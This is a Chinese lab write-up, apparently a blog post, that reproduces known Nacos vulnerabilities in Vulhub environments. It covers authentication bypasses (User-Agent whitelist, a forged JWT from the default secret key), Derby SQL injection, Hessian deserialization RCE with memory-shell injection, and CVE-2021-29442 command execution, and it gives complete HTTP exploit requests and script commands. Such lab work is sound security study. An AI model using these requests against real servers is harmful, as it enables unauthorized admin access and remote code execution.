Nacos历史漏洞复现(汇总)

一、权限绕过类

1.1 Nacos默认配置未授权访问漏洞——nacos.core.auth.enabled = false

漏洞原理:默认未开启配置nacos.core.auth.enabled

http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
http://192.168.52.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken

在这里插入图片描述
在这里插入图片描述

修复方案:配置文件修改为:nacos.core.auth.enabled=True

1.2 Nacos 认证绕过漏洞(CVE-2021-29441)——User-Agent绕过鉴权

漏洞原理:配置文件中nacos.core.auth.enable.userAgentAuthWhite = true,就会获取请求头中UserAgent的值,然后判断是否是以字符串Nacos-Server为开头,若是则直接跳过鉴权。

影响版本:Nacos <= 2.0.0-ALPHA.1

使用Vulhub搭建好环境好,访问192.168.92.1/nacos/#/login,可以看到nacos的登录界面。
在这里插入图片描述
手动验证User-Agent: Nacos-Server
1、检测漏洞是否存在,可以看到返回值为200,且内容中是否包含pageItems(nacos中已注册的用户)

GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在这里插入图片描述

2、添加新用户

POST /nacos/v1/auth/users?username=vulhub&password=vulhub HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在这里插入图片描述

使用脚本进行验证

# 创建新用户vulhub/vulhub
python3 CVE-2021-29441.py -t http://your-ip:8848 

在这里插入图片描述

使用工具进行验证
在这里插入图片描述

1.3 Nacos默认key导致权限绕过登陆(QVD-2023-6271)

漏洞原理:开启了nacos.core.auth.enabled 的情况下,如果未修改默认nacos.core.auth.default.token.secret.key,则可以生产accessToken值来绕过权限。相关配置文件如下:

### If turn on auth system:
nacos.core.auth.enabled=true

### The default token:
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

影响版本:0.1.0 <= Nacos <= 2.2.0

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

# nacos默认key:
SecretKey012345678901234567890123456789012345678901234567890123456789

1.3.1 获取token

在https://jwt.io中输入密钥keyexp为时间戳。
在这里插入图片描述

在这里插入图片描述

注意:Secret base64 encoded

# 请求包
POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.52.1:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU

username=crowsec&password=crowsec


# 返回包
HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://10.211.55.5:8848
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU
Content-Type: application/json;charset=UTF-8
Date: Sat, 17 Aug 2024 14:37:23 GMT
Connection: close
Content-Length: 181

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU","tokenTtl":18000,"globalAdmin":true}

在这里插入图片描述

1.3.2 利用获取token登录后台

重新登录,并拦截数据包
在这里插入图片描述
抓取返回包,并且使用下列返回包替换。

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://10.211.55.5:8848
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU
Content-Type: application/json;charset=UTF-8
Date: Sat, 17 Aug 2024 14:37:23 GMT
Connection: close
Content-Length: 181

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjE3MjM5MTQwMDAifQ.wGjSIshfZELU31ILolARcLr0Wiw7hraTk6C8tL6-MfU","tokenTtl":18000,"globalAdmin":true}

在这里插入图片描述
注意:要Forward,不能直接关闭拦截器intercept is on
在这里插入图片描述

工具验证
在这里插入图片描述

1.4 Nacos身份认证serverIdentity绕过

漏洞原理:判断是否开启nacos.core.auth.enabled和是否开启userAgentAuthWhite,然后是对配置文件是否配置了identity.key&identity.value,相关配置文件如下:

### If turn on auth system:
nacos.core.auth.enabled=true
### Since 1.4.1, Turn on/off white auth for user-agent: nacos-server, only for upgrade from old version.
nacos.core.auth.enable.userAgentAuthWhite=false
### Since 1.4.1, worked when nacos.core.auth.enabled=true and nacos.core.auth.enable.userAgentAuthWhite=false.
### The two properties is the white list for auth and used by identity the request from other server.
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
### The default token (Base64 String) and len(key)>32:
nacos.core.auth.plugin.nacos.token.secret.key=MTIzNDU2Nzg5MTIzMTI0MzIxNDM2NTRmYmRmMzI0c2R2c2Rh

identity.key&identity.value的值其实是自定义的,这个安全隐患更像弱口令。
在这里插入图片描述

二、Nacos Jraft Hessian 反序列化漏洞(CNVD-2023-45001)

漏洞描述: nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致RCE。

影响版本:

  • 1.4.0 <= Nacos < 1.4.6(使用cluster集群模式运行)
  • 2.0.0 <= Nacos < 2.2.3(任意模式运行)
docker pull nacos/nacos-server:2.0.0 # 拉取2.0.0版本的nacos
docker run --name nacos -d -p 8848:8848 -p 7848:7848 e MODE=standalone nacos/nacos-server

在这里插入图片描述

虽然,官方说standalone模式会默认开启7848端口,但是哟个docker启动时,需要手动映射。

访问http://192.168.92.1:8848,可以看到当前版本为2.0.0。
在这里插入图片描述
脚本验证是否存在Jraft Hessian 反序列化漏洞:
在这里插入图片描述

直接使用工具注入内存马:
在这里插入图片描述
冰蝎连接内存马
在这里插入图片描述

在这里插入图片描述

哥斯拉连接内存马
在这里插入图片描述
在这里插入图片描述

三、Nacos Derby SQL注入漏洞(CNVD-2020-67618)

漏洞原理:nacos带有一个嵌入式的小型数据库derby,而在版本<=1.4.0的默认配置部署nacos的情况下,它无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露。
影响版本:Nacos <= 1.4.0

手工验证

curl -XGET "http://192.168.92.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20"

在这里插入图片描述

或者发送以下数据包:

GET /nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73 HTTP/1.1
Host: 192.168.92.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i


在这里插入图片描述

四、Nacos 未授权接口命令执行漏洞(CVE-2021-29442)

漏洞原理:这个漏洞其实可以说是CVE-2021-29442的更深层次利用,在上文中我们分析了,Derby未授权SQL注入利用的是/derby这个路由,但是限制了语句必须为select开头的即查询语句,而仅仅是查询语句就无法RCE。所以Derby RCE的这个漏洞是利用removal接口在完成这个利用链完成derby注入的深入利用(最开始出来的打法用到的是CALL sqlj.install_jar简单来说就是将远程服务器上的jar包导入数据库,就可以动态调用类中的static方法),也就是所谓组合拳RCE。

使用vulhub搭建环境:

# 会返回目标服务器的进程信息
python3 CVE-2021-29442.py -t http://your-ip:8848 -c "ps aux"

在这里插入图片描述

  • 15
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值